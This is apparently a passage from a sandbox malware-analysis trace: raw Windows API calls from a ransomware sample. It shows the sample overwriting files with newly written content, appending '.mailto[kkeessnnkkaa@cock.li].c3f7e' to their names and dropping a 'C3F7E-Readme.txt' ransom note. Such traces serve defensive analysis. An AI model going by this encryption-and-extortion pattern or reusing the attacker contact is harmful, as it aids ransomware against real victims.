	[0076.328] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0076.328] NtQuerySystemTime (in: CurrentTime=0xab8f7c0 | out: CurrentTime=0xab8f7c0*=132251868030598600) returned 0x0
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x877e0496
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x62877b09
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x930d071e
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xfacf0918
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xb0f18f58
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x48b15bc5
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x461f19f6
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x491d2bf7
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x1ebcf80d
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xa851815b
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x4304a599
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xda599927
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xfcc2bd7d
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x5121745e
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xa5158a79
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x7a0073d5
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xea67c222
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xe8baff6
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x5bd1af7f
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x66c5d435
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x233d6a67
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xaac75713
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xfd1eb906
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x3bf5fd8f
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x60df69c3
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x2c7d0e09
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xdb29b994
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x634df0c0
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x9eb82e4b
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0xf43e4bc
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x80b0f3a4
	[0076.328] RtlRandom (in: Seed=0xab8f7cc | out: Seed=0xab8f7cc) returned 0x875d88bd
	[0076.338] ReadFile (in: hFile=0x9dc, lpBuffer=0x4f168f0, nNumberOfBytesToRead=0xbfd, lpNumberOfBytesRead=0xab8f7bc, lpOverlapped=0x0 | out: lpBuffer=0x4f168f0*, lpNumberOfBytesRead=0xab8f7bc*=0xbfd, lpOverlapped=0x0) returned 1
	[0076.338] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.338] WriteFile (in: hFile=0x9dc, lpBuffer=0x4f230f8*, nNumberOfBytesToWrite=0xbfd, lpNumberOfBytesWritten=0xab8f7b8, lpOverlapped=0x0 | out: lpBuffer=0x4f230f8*, lpNumberOfBytesWritten=0xab8f7b8*=0xbfd, lpOverlapped=0x0) returned 1
	[0076.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34668
	[0076.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34758
	[0076.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34758) returned 1
	[0076.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f230f8) returned 1
	[0076.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f168f0) returned 1
	[0076.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1
	[0076.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73a98) returned 1
	[0076.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34618
	[0076.340] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.340] WriteFile (in: hFile=0x9dc, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xab8f820, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xab8f820*=0x101, lpOverlapped=0x0) returned 1
	[0076.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0076.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34578) returned 1
	[0076.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34618) returned 1
	[0076.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34668) returned 1
	[0076.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0076.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345f0) returned 1
	[0076.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346b8) returned 1
	[0076.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78d08
	[0076.341] wcscpy (in: _Dest=0x2d78d08, _Source="C:\\588bce7c90097ed212\\3082\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned="C:\\588bce7c90097ed212\\3082\\eula.rtf"
	[0076.342] wcscat (in: _Dest=0x2d78d08, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.342] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xab8f7d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\3082\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d60f50
	[0076.344] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60f50) returned 1
	[0076.344] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2af38) returned 1
	[0076.344] NtQueryInformationFile (in: FileHandle=0x9dc, IoStatusBlock=0xab8f7e4, FileInformation=0xab8f7bc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xab8f7e4, FileInformation=0xab8f7bc) returned 0x0
	[0076.344] NtSetInformationFile (FileHandle=0x9dc, IoStatusBlock=0xab8f7e4, FileInformation=0xab8f7bc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78d08) returned 1
	[0076.345] FlushFileBuffers (hFile=0x9dc) returned 1
	[0076.346] CloseHandle (hObject=0x9dc) returned 1
	[0076.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0076.347] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\3082\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\"
	[0076.347] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\3082\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\3082\\C3F7E-Readme.txt"
	[0076.347] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3082\\c3f7e-readme.txt")) returned 0xffffffff
	[0076.347] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3082\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc
	[0076.347] WriteFile (in: hFile=0x9dc, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xab8f7e0, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xab8f7e0*=0x6f6, lpOverlapped=0x0) returned 1
	[0076.348] CloseHandle (hObject=0x9dc) returned 1
	[0076.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0076.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730b00) returned 1

Thread:
	id = 219
	os_tid = 0x4f8

	[0076.339] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80
	[0076.342] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0076.346] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9e0
	[0076.349] GetFileSizeEx (in: hFile=0x9e0, lpFileSize=0xac0fa88 | out: lpFileSize=0xac0fa88*=79996) returned 1
	[0076.349] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x13878, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.349] ReadFile (in: hFile=0x9e0, lpBuffer=0xac0fa0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xac0fa08, lpOverlapped=0x0 | out: lpBuffer=0xac0fa0c*, lpNumberOfBytesRead=0xac0fa08*=0x4, lpOverlapped=0x0) returned 1
	[0076.351] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.351] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.351] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34730
	[0076.351] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34618
	[0076.351] NtQuerySystemTime (in: CurrentTime=0xac0f9e8 | out: CurrentTime=0xac0f9e8*=132251868030911030) returned 0x0
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xf00ace97
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x3281e50c
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x79e28be6
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x469fd553
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x6c00b0f8
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x3fdb44ac
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x268f29e4
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x78a02846
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x35ecdb1e
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xc2a7e01d
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xf526078d
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xaece3c8b
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xeaf69bb0
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xf6c04e1
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xf57a8808
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x89058ceb
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x2929cc47
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x1f8b9cfb
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x9d12fce4
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xc110eb48
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xbc875212
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xfa50c0ef
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xa00e1711
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x58d0a695
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x140f432f
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x87bdfaaa
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xad98d745
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x795d1c2f
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x646fbba6
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0xeaa0c6c3
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x890229bf
	[0076.351] RtlRandom (in: Seed=0xac0f9f4 | out: Seed=0xac0f9f4) returned 0x53b377d6
	[0076.360] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.360] ReadFile (in: hFile=0x9e0, lpBuffer=0x4f168f0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xac0f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4f168f0*, lpNumberOfBytesRead=0xac0f9c8*=0xc800, lpOverlapped=0x0) returned 1
	[0076.361] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73a98
	[0076.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e03fa0
	[0076.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0076.361] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0076.362] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f230f8
	[0076.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34690
	[0076.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34780
	[0076.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34780) returned 1
	[0076.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1
	[0076.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73a98) returned 1
	[0076.363] WriteFile (in: hFile=0x9e0, lpBuffer=0x4f230f8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xac0f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4f230f8*, lpNumberOfBytesWritten=0xac0f9c8*=0xc800, lpOverlapped=0x0) returned 1
	[0078.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f230f8) returned 1
	[0078.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f168f0) returned 1
	[0078.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x2e3a188
	[0078.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfae38
	[0078.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47533e0
	[0078.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x2e3a0e0
	[0078.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34398
	[0078.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34398) returned 1
	[0078.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47533e0) returned 1
	[0078.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae38) returned 1
	[0078.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4771e30
	[0078.511] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.511] WriteFile (in: hFile=0x9e0, lpBuffer=0x4771e30*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xac0fa48, lpOverlapped=0x0 | out: lpBuffer=0x4771e30*, lpNumberOfBytesWritten=0xac0fa48*=0x113, lpOverlapped=0x0) returned 1
	[0078.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771e30) returned 1
	[0078.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a0e0) returned 1
	[0078.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a188) returned 1
	[0078.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34690) returned 1
	[0078.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34730) returned 1
	[0078.655] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0078.655] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346e0) returned 1
	[0078.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986668
	[0078.655] wcscpy (in: _Dest=0x4986668, _Source="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml"
	[0078.655] wcscat (in: _Dest=0x4986668, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.655] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xac0fa00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a3e8
	[0078.655] NtSetInformationFile (FileHandle=0x9e0, IoStatusBlock=0xac0f9f8, FileInformation=0x476a3e8, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.712] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a3e8) returned 1
	[0078.712] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d988) returned 1
	[0078.712] NtQueryInformationFile (in: FileHandle=0x9e0, IoStatusBlock=0xac0fa0c, FileInformation=0xac0f9e4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xac0fa0c, FileInformation=0xac0f9e4) returned 0x0
	[0078.712] NtSetInformationFile (FileHandle=0x9e0, IoStatusBlock=0xac0fa0c, FileInformation=0xac0f9e4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.713] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986668) returned 1
	[0078.713] FlushFileBuffers (hFile=0x9e0) returned 1
	[0080.057] CloseHandle (hObject=0x9e0) returned 1
	[0080.171] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780570
	[0080.171] wcscpy (in: _Dest=0x4780570, _Source="C:\\588bce7c90097ed212\\3082\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\"
	[0080.171] wcscat (in: _Dest=0x4780570, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\3082\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\3082\\C3F7E-Readme.txt"
	[0080.171] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3082\\c3f7e-readme.txt")) returned 0x20
	[0080.171] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780570) returned 1
	[0080.171] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733798) returned 1

Thread:
	id = 220
	os_tid = 0x4f4

	[0076.344] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80
	[0076.350] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", dwFileAttributes=0x20) returned 1
	[0076.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9dc
	[0076.360] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0xac8f9d0 | out: lpFileSize=0xac8f9d0*=201796) returned 1
	[0076.363] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x31440, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.363] ReadFile (in: hFile=0x9dc, lpBuffer=0xac8f954, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xac8f950, lpOverlapped=0x0 | out: lpBuffer=0xac8f954*, lpNumberOfBytesRead=0xac8f950*=0x4, lpOverlapped=0x0) returned 1
	[0076.367] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0076.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346b8
	[0076.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0076.367] NtQuerySystemTime (in: CurrentTime=0xac8f930 | out: CurrentTime=0xac8f930*=132251868031067836) returned 0x0
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x92f27634
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xf5de6843
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xd5dd9f51
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x35d0f0e3
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xc8d5d60
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x5cab0a6c
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x3d948254
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xa7c71320
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x40e9460c
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x477f3edd
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xe6dab33f
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xfea3347f
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xf923d98a
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x212b1070
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x6d14b4d4
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xf7eeeb35
	[0076.367] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x7c8807b3
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xe4e1feeb
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x1f15110f
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x383c04b2
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x34d9e173
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x926dc7a4
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x2b82d941
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0xcd0a2b09
	[0076.368] RtlRandom (in: Seed=0xac8f93c | out: Seed=0xac8f93c) returned 0x4f3f49
